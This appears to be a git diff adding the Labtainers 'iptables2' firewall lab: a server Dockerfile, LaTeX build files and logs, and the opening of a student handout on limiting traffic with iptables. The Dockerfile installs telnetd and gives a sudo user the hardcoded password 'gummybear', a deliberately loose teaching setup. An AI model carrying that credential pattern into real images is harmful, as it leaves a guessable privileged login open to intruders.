a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.server.student new file mode 100644 index 000000000..4006cf04b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.server.student @@ -0,0 +1,30 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends telnetd +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:gummybear" | chpasswd +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/Makefile new file mode 100644 index 000000000..9636d9e9a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/Makefile @@ -0,0 +1,8 @@ +iptables.pdf: iptables.tex header.tex + latex iptables + pdflatex iptables + pdflatex iptables + +clean: + rm -fr auto + rm -f iptables.aux iptables.log iptables.pdf iptables.dvi iptables.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/header.tex new file mode 100644 index 000000000..b208b177b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/header.tex @@ -0,0 +1,121 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.aux b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.aux new file mode 100644 index 000000000..c462f9ab0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.aux @@ -0,0 +1,28 @@ +\relax +\providecommand\hyper@newdestlabel[2]{} +\providecommand\HyperFirstAtBeginDocument{\AtBeginDocument} +\HyperFirstAtBeginDocument{\ifx\hyper@anchor\@undefined +\global\let\oldcontentsline\contentsline +\gdef\contentsline#1#2#3#4{\oldcontentsline{#1}{#2}{#3}} +\global\let\oldnewlabel\newlabel +\gdef\newlabel#1#2{\newlabelxx{#1}#2} +\gdef\newlabelxx#1#2#3#4#5#6{\oldnewlabel{#1}{{#2}{#3}}} +\AtEndDocument{\ifx\hyper@anchor\@undefined +\let\contentsline\oldcontentsline +\let\newlabel\oldnewlabel +\fi} +\fi} +\global\let\hyper@last\relax +\gdef\HyperFirstAtBeginDocument#1{#1} +\providecommand\HyField@AuxAddToFields[1]{} +\providecommand\HyField@AuxAddToCoFields[2]{} +\@writefile{toc}{\contentsline {section}{\numberline {1}Overview}{1}{section.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {1.1}Background}{1}{subsection.1.1}} +\@writefile{toc}{\contentsline {section}{\numberline {2}Lab Environment}{1}{section.2}} +\@writefile{lof}{\contentsline {figure}{\numberline {1}{\ignorespaces Network topology for the iptables lab}}{1}{figure.1}} +\newlabel{fig:topology}{{1}{1}{Network topology for the iptables lab}{figure.1}{}} +\@writefile{toc}{\contentsline {section}{\numberline {3}Lab Tasks}{2}{section.3}} +\@writefile{toc}{\contentsline {subsection}{\numberline {3.1}Explore}{2}{subsection.3.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {3.2}Use iptables to limit traffic}{2}{subsection.3.2}} +\@writefile{toc}{\contentsline {subsection}{\numberline {3.3}Open new service port}{2}{subsection.3.3}} +\@writefile{toc}{\contentsline {section}{\numberline {4}Submission}{3}{section.4}} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.dvi b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.dvi new file mode 100644 index 000000000..23d1ccd05 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.dvi differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.jpg new file mode 100644 index 000000000..574412705 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.log b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.log new file mode 100644 index 000000000..e4eae5270 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.log @@ -0,0 +1,471 @@ +This is pdfTeX, Version 3.14159265-2.6-1.40.16 (TeX Live 2015/Debian) (preloaded format=pdflatex 2018.1.3) 9 AUG 2018 13:11 +entering extended mode + restricted \write18 enabled. + %&-line parsing enabled. +**iptables +(./iptables.tex +LaTeX2e <2016/02/01> +Babel <3.9q> and hyphenation patterns for 81 language(s) loaded. +(./header.tex (/usr/share/texlive/texmf-dist/tex/latex/base/article.cls +Document Class: article 2014/09/29 v1.4h Standard LaTeX document class +(/usr/share/texlive/texmf-dist/tex/latex/base/size11.clo +File: size11.clo 2014/09/29 v1.4h Standard LaTeX file (size option) +) +\c@part=\count79 +\c@section=\count80 +\c@subsection=\count81 +\c@subsubsection=\count82 +\c@paragraph=\count83 +\c@subparagraph=\count84 +\c@figure=\count85 +\c@table=\count86 +\abovecaptionskip=\skip41 +\belowcaptionskip=\skip42 +\bibindent=\dimen102 +) +(/usr/share/texlive/texmf-dist/tex/latex/psnfss/times.sty +Package: times 2005/04/12 PSNFSS-v9.2a (SPQR) +) +(/usr/share/texlive/texmf-dist/tex/generic/epsf/epsf.sty +This is `epsf.tex' v2.7.4 <14 February 2011> +\epsffilein=\read1 +\epsfframemargin=\dimen103 +\epsfframethickness=\dimen104 +\epsfrsize=\dimen105 +\epsftmp=\dimen106 +\epsftsize=\dimen107 +\epsfxsize=\dimen108 +\epsfysize=\dimen109 +\pspoints=\dimen110 +) (/usr/share/texlive/texmf-dist/tex/latex/graphics/epsfig.sty +Package: epsfig 1999/02/16 v1.7a (e)psfig emulation (SPQR) + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphicx.sty +Package: graphicx 2014/10/28 v1.0g Enhanced LaTeX Graphics (DPC,SPQR) + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty +Package: keyval 2014/10/28 v1.15 key=value parser (DPC) +\KV@toks@=\toks14 +) +(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphics.sty +Package: graphics 2016/01/03 v1.0q Standard LaTeX Graphics (DPC,SPQR) + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/trig.sty +Package: trig 2016/01/03 v1.10 sin cos tan (DPC) +) +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/graphics.cfg +File: graphics.cfg 2010/04/23 v1.9 graphics configuration of TeX Live +) +Package graphics Info: Driver file: pdftex.def on input line 95. + +(/usr/share/texlive/texmf-dist/tex/latex/pdftex-def/pdftex.def +File: pdftex.def 2011/05/27 v0.06d Graphics/color for pdfTeX + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/infwarerr.sty +Package: infwarerr 2010/04/08 v1.3 Providing info/warning/error messages (HO) +) +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ltxcmds.sty +Package: ltxcmds 2011/11/09 v1.22 LaTeX kernel commands for general use (HO) +) +\Gread@gobject=\count87 +)) +\Gin@req@height=\dimen111 +\Gin@req@width=\dimen112 +) +\epsfxsize=\dimen113 +\epsfysize=\dimen114 +) +(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsmath.sty +Package: amsmath 2016/03/03 v2.15a AMS math features +\@mathmargin=\skip43 + +For additional information on amsmath, use the `?' option. +(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amstext.sty +Package: amstext 2000/06/29 v2.01 AMS text + +(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsgen.sty +File: amsgen.sty 1999/11/30 v2.0 generic functions +\@emptytoks=\toks15 +\ex@=\dimen115 +)) +(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsbsy.sty +Package: amsbsy 1999/11/29 v1.2d Bold Symbols +\pmbraise@=\dimen116 +) +(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsopn.sty +Package: amsopn 1999/12/14 v2.01 operator names +) +\inf@bad=\count88 +LaTeX Info: Redefining \frac on input line 199. +\uproot@=\count89 +\leftroot@=\count90 +LaTeX Info: Redefining \overline on input line 297. +\classnum@=\count91 +\DOTSCASE@=\count92 +LaTeX Info: Redefining \ldots on input line 394. +LaTeX Info: Redefining \dots on input line 397. +LaTeX Info: Redefining \cdots on input line 518. +\Mathstrutbox@=\box26 +\strutbox@=\box27 +\big@size=\dimen117 +LaTeX Font Info: Redeclaring font encoding OML on input line 630. +LaTeX Font Info: Redeclaring font encoding OMS on input line 631. +\macc@depth=\count93 +\c@MaxMatrixCols=\count94 +\dotsspace@=\muskip10 +\c@parentequation=\count95 +\dspbrk@lvl=\count96 +\tag@help=\toks16 +\row@=\count97 +\column@=\count98 +\maxfields@=\count99 +\andhelp@=\toks17 +\eqnshift@=\dimen118 +\alignsep@=\dimen119 +\tagshift@=\dimen120 +\tagwidth@=\dimen121 +\totwidth@=\dimen122 +\lineht@=\dimen123 +\@envbody=\toks18 +\multlinegap=\skip44 +\multlinetaggap=\skip45 +\mathdisplay@stack=\toks19 +LaTeX Info: Redefining \[ on input line 2735. +LaTeX Info: Redefining \] on input line 2736. +) +(/usr/share/texlive/texmf-dist/tex/latex/base/alltt.sty +Package: alltt 1997/06/16 v2.0g defines alltt environment +) +(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amssymb.sty +Package: amssymb 2013/01/14 v3.01 AMS font symbols + +(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amsfonts.sty +Package: amsfonts 2013/01/14 v3.01 Basic AMSFonts support +\symAMSa=\mathgroup4 +\symAMSb=\mathgroup5 +LaTeX Font Info: Overwriting math alphabet `\mathfrak' in version `bold' +(Font) U/euf/m/n --> U/euf/b/n on input line 106. +)) +(/usr/share/texlive/texmf-dist/tex/latex/tools/xspace.sty +Package: xspace 2014/10/28 v1.13 Space after command names (DPC,MH) +) +(/usr/share/texlive/texmf-dist/tex/latex/wrapfig/wrapfig.sty +\wrapoverhang=\dimen124 +\WF@size=\dimen125 +\c@WF@wrappedlines=\count100 +\WF@box=\box28 +\WF@everypar=\toks20 +Package: wrapfig 2003/01/31 v 3.6 +) +(/usr/share/texlive/texmf-dist/tex/latex/fancyhdr/fancyhdr.sty +\fancy@headwidth=\skip46 +\f@ncyO@elh=\skip47 +\f@ncyO@erh=\skip48 +\f@ncyO@olh=\skip49 +\f@ncyO@orh=\skip50 +\f@ncyO@elf=\skip51 +\f@ncyO@erf=\skip52 +\f@ncyO@olf=\skip53 +\f@ncyO@orf=\skip54 +) +(/usr/share/texlive/texmf-dist/tex/latex/url/url.sty +\Urlmuskip=\muskip11 +Package: url 2013/09/16 ver 3.4 Verb mode for urls, etc. +) +(/usr/share/texlive/texmf-dist/tex/latex/tools/verbatim.sty +Package: verbatim 2014/10/28 v1.5q LaTeX2e package for verbatim enhancements +\every@verbatim=\toks21 +\verbatim@line=\toks22 +\verbatim@in@stream=\read2 +) +(/usr/share/texlive/texmf-dist/tex/latex/fancyvrb/fancyvrb.sty +Package: fancyvrb 2008/02/07 + +Style option: `fancyvrb' v2.7a, with DG/SPQR fixes, and firstline=lastline fix +<2008/02/07> (tvz) +\FV@CodeLineNo=\count101 +\FV@InFile=\read3 +\FV@TabBox=\box29 +\c@FancyVerbLine=\count102 +\FV@StepNumber=\count103 +\FV@OutFile=\write3 +) (/usr/share/texlive/texmf-dist/tex/latex/float/float.sty +Package: float 2001/11/08 v1.3d Float enhancements (AL) +\c@float@type=\count104 +\float@exts=\toks23 +\float@box=\box30 +\@float@everytoks=\toks24 +\@floatcapt=\box31 +) +(/usr/share/texlive/texmf-dist/tex/latex/subfigure/subfigure.sty +Package: subfigure 2002/03/15 v2.1.5 subfigure package +\subfigtopskip=\skip55 +\subfigcapskip=\skip56 +\subfigcaptopadj=\dimen126 +\subfigbottomskip=\skip57 +\subfigcapmargin=\dimen127 +\subfiglabelskip=\skip58 +\c@subfigure=\count105 +\c@lofdepth=\count106 +\c@subtable=\count107 +\c@lotdepth=\count108 + +**************************************** +* Local config file subfigure.cfg used * +**************************************** +(/usr/share/texlive/texmf-dist/tex/latex/subfigure/subfigure.cfg) +\subfig@top=\skip59 +\subfig@bottom=\skip60 +) +(/usr/share/texlive/texmf-dist/tex/latex/cite/cite.sty +LaTeX Info: Redefining \cite on input line 302. +LaTeX Info: Redefining \nocite on input line 332. +Package: cite 2015/02/27 v 5.5 +) +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hyperref.sty +Package: hyperref 2012/11/06 v6.83m Hypertext links for LaTeX + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-hyperref.sty +Package: hobsub-hyperref 2012/05/28 v1.13 Bundle oberdiek, subset hyperref (HO) + + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-generic.sty +Package: hobsub-generic 2012/05/28 v1.13 Bundle oberdiek, subset generic (HO) +Package: hobsub 2012/05/28 v1.13 Construct package bundles (HO) +Package hobsub Info: Skipping package `infwarerr' (already loaded). +Package hobsub Info: Skipping package `ltxcmds' (already loaded). +Package: ifluatex 2010/03/01 v1.3 Provides the ifluatex switch (HO) +Package ifluatex Info: LuaTeX not detected. +Package: ifvtex 2010/03/01 v1.5 Detect VTeX and its facilities (HO) +Package ifvtex Info: VTeX not detected. +Package: intcalc 2007/09/27 v1.1 Expandable calculations with integers (HO) +Package: ifpdf 2011/01/30 v2.3 Provides the ifpdf switch (HO) +Package ifpdf Info: pdfTeX in PDF mode is detected. +Package: etexcmds 2011/02/16 v1.5 Avoid name clashes with e-TeX commands (HO) +Package etexcmds Info: Could not find \expanded. +(etexcmds) That can mean that you are not using pdfTeX 1.50 or +(etexcmds) that some package has redefined \expanded. +(etexcmds) In the latter case, load this package earlier. +Package: kvsetkeys 2012/04/25 v1.16 Key value parser (HO) +Package: kvdefinekeys 2011/04/07 v1.3 Define keys (HO) +Package: pdftexcmds 2011/11/29 v0.20 Utility functions of pdfTeX for LuaTeX (HO +) +Package pdftexcmds Info: LuaTeX not detected. +Package pdftexcmds Info: \pdf@primitive is available. +Package pdftexcmds Info: \pdf@ifprimitive is available. +Package pdftexcmds Info: \pdfdraftmode found. +Package: pdfescape 2011/11/25 v1.13 Implements pdfTeX's escape features (HO) +Package: bigintcalc 2012/04/08 v1.3 Expandable calculations on big integers (HO +) +Package: bitset 2011/01/30 v1.1 Handle bit-vector datatype (HO) +Package: uniquecounter 2011/01/30 v1.2 Provide unlimited unique counter (HO) +) +Package hobsub Info: Skipping package `hobsub' (already loaded). +Package: letltxmacro 2010/09/02 v1.4 Let assignment for LaTeX macros (HO) +Package: hopatch 2012/05/28 v1.2 Wrapper for package hooks (HO) +Package: xcolor-patch 2011/01/30 xcolor patch +Package: atveryend 2011/06/30 v1.8 Hooks at the very end of document (HO) +Package atveryend Info: \enddocument detected (standard20110627). +Package: atbegshi 2011/10/05 v1.16 At begin shipout hook (HO) +Package: refcount 2011/10/16 v3.4 Data extraction from label references (HO) +Package: hycolor 2011/01/30 v1.7 Color options for hyperref/bookmark (HO) +) +(/usr/share/texlive/texmf-dist/tex/generic/ifxetex/ifxetex.sty +Package: ifxetex 2010/09/12 v0.6 Provides ifxetex conditional +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/auxhook.sty +Package: auxhook 2011/03/04 v1.3 Hooks for auxiliary files (HO) +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/kvoptions.sty +Package: kvoptions 2011/06/30 v3.11 Key value format for package options (HO) +) +\@linkdim=\dimen128 +\Hy@linkcounter=\count109 +\Hy@pagecounter=\count110 + +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/pd1enc.def +File: pd1enc.def 2012/11/06 v6.83m Hyperref: PDFDocEncoding definition (HO) +) +\Hy@SavedSpaceFactor=\count111 + +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/hyperref.cfg +File: hyperref.cfg 2002/06/06 v1.2 hyperref configuration of TeXLive +) +Package hyperref Info: Hyper figures OFF on input line 4443. +Package hyperref Info: Link nesting OFF on input line 4448. +Package hyperref Info: Hyper index ON on input line 4451. +Package hyperref Info: Plain pages OFF on input line 4458. +Package hyperref Info: Backreferencing OFF on input line 4463. +Package hyperref Info: Implicit mode ON; LaTeX internals redefined. +Package hyperref Info: Bookmarks ON on input line 4688. +\c@Hy@tempcnt=\count112 +LaTeX Info: Redefining \url on input line 5041. +\XeTeXLinkMargin=\dimen129 +\Fld@menulength=\count113 +\Field@Width=\dimen130 +\Fld@charsize=\dimen131 +Package hyperref Info: Hyper figures OFF on input line 6295. +Package hyperref Info: Link nesting OFF on input line 6300. +Package hyperref Info: Hyper index ON on input line 6303. +Package hyperref Info: backreferencing OFF on input line 6310. +Package hyperref Info: Link coloring OFF on input line 6315. +Package hyperref Info: Link coloring with OCG OFF on input line 6320. +Package hyperref Info: PDF/A mode OFF on input line 6325. +LaTeX Info: Redefining \ref on input line 6365. +LaTeX Info: Redefining \pageref on input line 6369. +\Hy@abspage=\count114 +\c@Item=\count115 +\c@Hfootnote=\count116 +) + +Package hyperref Message: Driver (autodetected): hpdftex. + +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hpdftex.def +File: hpdftex.def 2012/11/06 v6.83m Hyperref driver for pdfTeX +\Fld@listcount=\count117 +\c@bookmark@seq@number=\count118 + +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/rerunfilecheck.sty +Package: rerunfilecheck 2011/04/15 v1.7 Rerun checks for auxiliary files (HO) +Package uniquecounter Info: New unique counter `rerunfilecheck' on input line 2 +82. +) +\Hy@SectionHShift=\skip61 +) +\c@problem=\count119 +\c@define=\count120 +\c@question=\count121 +) +(./iptables.aux) +\openout1 = `iptables.aux'. + +LaTeX Font Info: Checking defaults for OML/cmm/m/it on input line 2. +LaTeX Font Info: ... okay on input line 2. +LaTeX Font Info: Checking defaults for T1/cmr/m/n on input line 2. +LaTeX Font Info: ... okay on input line 2. +LaTeX Font Info: Checking defaults for OT1/cmr/m/n on input line 2. +LaTeX Font Info: ... okay on input line 2. +LaTeX Font Info: Checking defaults for OMS/cmsy/m/n on input line 2. +LaTeX Font Info: ... okay on input line 2. +LaTeX Font Info: Checking defaults for OMX/cmex/m/n on input line 2. +LaTeX Font Info: ... okay on input line 2. +LaTeX Font Info: Checking defaults for U/cmr/m/n on input line 2. +LaTeX Font Info: ... okay on input line 2. +LaTeX Font Info: Checking defaults for PD1/pdf/m/n on input line 2. +LaTeX Font Info: ... okay on input line 2. +LaTeX Font Info: Try loading font information for OT1+ptm on input line 2. + (/usr/share/texlive/texmf-dist/tex/latex/psnfss/ot1ptm.fd +File: ot1ptm.fd 2001/06/04 font definitions for OT1/ptm. +) +(/usr/share/texlive/texmf-dist/tex/context/base/supp-pdf.mkii +[Loading MPS to PDF converter (version 2006.09.02).] +\scratchcounter=\count122 +\scratchdimen=\dimen132 +\scratchbox=\box32 +\nofMPsegments=\count123 +\nofMParguments=\count124 +\everyMPshowfont=\toks25 +\MPscratchCnt=\count125 +\MPscratchDim=\dimen133 +\MPnumerator=\count126 +\makeMPintoPDFobject=\count127 +\everyMPtoPDFconversion=\toks26 +) (/usr/share/texlive/texmf-dist/tex/latex/oberdiek/epstopdf-base.sty +Package: epstopdf-base 2010/02/09 v2.5 Base part for package epstopdf + +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/grfext.sty +Package: grfext 2010/08/19 v1.1 Manage graphics extensions (HO) +) +Package grfext Info: Graphics extension search list: +(grfext) [.png,.pdf,.jpg,.mps,.jpeg,.jbig2,.jb2,.PNG,.PDF,.JPG,.JPE +G,.JBIG2,.JB2,.eps] +(grfext) \AppendGraphicsExtensions on input line 452. + +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/epstopdf-sys.cfg +File: epstopdf-sys.cfg 2010/07/13 v1.3 Configuration of (r)epstopdf for TeX Liv +e +)) +\AtBeginShipoutBox=\box33 +Package hyperref Info: Link coloring OFF on input line 2. + +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/nameref.sty +Package: nameref 2012/10/27 v2.43 Cross-referencing by name of section + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/gettitlestring.sty +Package: gettitlestring 2010/12/03 v1.4 Cleanup title references (HO) +) +\c@section@level=\count128 +) +LaTeX Info: Redefining \ref on input line 2. +LaTeX Info: Redefining \pageref on input line 2. +LaTeX Info: Redefining \nameref on input line 2. + +(./iptables.out) (./iptables.out) +\@outlinefile=\write4 +\openout4 = `iptables.out'. + +LaTeX Font Info: Font shape `OT1/ptm/bx/n' in size <14.4> not available +(Font) Font shape `OT1/ptm/b/n' tried instead on input line 10. +LaTeX Font Info: Font shape `OT1/ptm/bx/n' in size <12> not available +(Font) Font shape `OT1/ptm/b/n' tried instead on input line 19. +LaTeX Font Info: Try loading font information for OT1+pcr on input line 33. + +(/usr/share/texlive/texmf-dist/tex/latex/psnfss/ot1pcr.fd +File: ot1pcr.fd 2001/06/04 font definitions for OT1/pcr. +) + +File: iptables.jpg Graphic file (type jpg) + +Package pdftex.def Info: iptables.jpg used on input line 58. +(pdftex.def) Requested size: 375.80542pt x 90.22525pt. +LaTeX Font Info: Font shape `OT1/ptm/bx/n' in size <10.95> not available +(Font) Font shape `OT1/ptm/b/n' tried instead on input line 69. + + +Package Fancyhdr Warning: \headheight is too small (12.0pt): + Make it at least 13.59999pt. + We now make it that large for the rest of the document. + This may cause the page layout to be inconsistent, however. + +[1{/var/lib/texmf/fonts/map/pdftex/updmap/pdftex.map} + + <./iptables.jpg>] +[2] +LaTeX Font Info: Try loading font information for U+msa on input line 148. + (/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsa.fd +File: umsa.fd 2013/01/14 v3.01 AMS symbols A +) +LaTeX Font Info: Try loading font information for U+msb on input line 148. + +(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsb.fd +File: umsb.fd 2013/01/14 v3.01 AMS symbols B +) +Package atveryend Info: Empty hook `BeforeClearDocument' on input line 149. + [3] +Package atveryend Info: Empty hook `AfterLastShipout' on input line 149. + (./iptables.aux) +Package atveryend Info: Executing hook `AtVeryEndDocument' on input line 149. +Package atveryend Info: Executing hook `AtEndAfterFileList' on input line 149. +Package rerunfilecheck Info: File `iptables.out' has not changed. +(rerunfilecheck) Checksum: C7A683715663E4EE040D4CE1800642F7;445. +Package atveryend Info: Empty hook `AtVeryVeryEnd' on input line 149. + ) +Here is how much of TeX's memory you used: + 7073 strings out of 493029 + 101183 string characters out of 6136235 + 191759 words of memory out of 5000000 + 10489 multiletter control sequences out of 15000+600000 + 19450 words of font info for 48 fonts, out of 8000000 for 9000 + 1141 hyphenation exceptions out of 8191 + 36i,10n,43p,290b,370s stack positions out of 5000i,500n,10000p,200000b,80000s +{/usr/share/texlive/texmf-dist/fonts/enc/dvips/base/8r.enc} +Output written on iptables.pdf (3 pages, 53975 bytes). +PDF statistics: + 73 PDF objects out of 1000 (max. 8388607) + 63 compressed objects within 1 object stream + 13 named destinations out of 1000 (max. 500000) + 70 words of extra memory for PDF output out of 10000 (max. 10000000) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.odg new file mode 100755 index 000000000..52480f0cc Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.out b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.out new file mode 100644 index 000000000..69df178d2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.out @@ -0,0 +1,8 @@ +\BOOKMARK [1][-]{section.1}{Overview}{}% 1 +\BOOKMARK [2][-]{subsection.1.1}{Background}{section.1}% 2 +\BOOKMARK [1][-]{section.2}{Lab Environment}{}% 3 +\BOOKMARK [1][-]{section.3}{Lab Tasks}{}% 4 +\BOOKMARK [2][-]{subsection.3.1}{Explore}{section.3}% 5 +\BOOKMARK [2][-]{subsection.3.2}{Use iptables to limit traffic}{section.3}% 6 +\BOOKMARK [2][-]{subsection.3.3}{Open new service port}{section.3}% 7 +\BOOKMARK [1][-]{section.4}{Submission}{}% 8 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.tex new file mode 100644 index 000000000..2c93464ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.tex @@ -0,0 +1,157 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE IPTABLES} +\vspace{0.1in}\\ +\end{center} + + +\section{Overview} +This Labtainer exercise illustrates the use of iptables +on a firewall to limit network access to a server from a client, +as illustrated in figure +\ref{fig:topology} + +When properly configured, the firewall will only allow selected +traffic from the client to the server. + +\subsection {Background} +Limiting the types of network traffic sent to a server can help to +protect the server from unauthorized access. For example, if the +server contains an unsecured service available through its network +interface, exploitation of that service is more difficult if something +blocks traffic destined for that service. + +A variety of different techniques and products exist for the purpose of limiting +IP network traffic between computers. In this lab, you will limit IP traffic through +use of Linux iptables. +The student is expected to have separately learned about the use of iptables +to selectively block network traffic. The firewall component includes an +example firewall setting script that you can reference. The manpage for iptables can be viewed on the +firewall component using: +\begin{verbatim} + man iptables + man iptables-extensions 